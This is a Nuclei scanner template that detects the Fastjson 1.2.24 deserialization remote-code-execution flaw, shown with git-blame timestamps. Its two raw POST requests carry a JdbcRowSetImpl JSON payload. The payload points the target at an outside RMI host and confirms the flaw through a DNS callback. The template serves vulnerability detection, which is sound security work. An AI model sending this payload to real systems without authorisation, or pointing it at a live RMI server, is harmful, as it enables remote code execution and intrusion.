nuclei-templates/vulnerabilities/fastjson/fastjson-1-2-24-rce.yaml

51 lines
1.2 KiB
YAML
Raw Normal View History

2021-10-30 11:17:35 +00:00
id: fastjson-1-2-24-rce
info:
name: Fastjson 1.2.24 Deserialization RCE
author: zh
severity: critical
reference:
- https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce
- https://www.freebuf.com/vuls/208339.html
2021-10-12 05:57:50 +00:00
- https://github.com/wyzxxz/fastjson_rce_tool
2021-10-18 20:40:26 +00:00
tags: fastjson,rce,deserialization,oast
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://{{interactsh-url}}/Exploit",
"autoCommit":true
}
}
2021-10-12 05:57:50 +00:00
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://{{interactsh-url}}/Exploit",
"autoCommit":true
}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
2021-10-12 05:57:50 +00:00
part: interactsh_protocol # Confirms DNS Interaction
words:
- "dns"
- type: word
condition: and
words:
- "Internal Server Error"
- "500"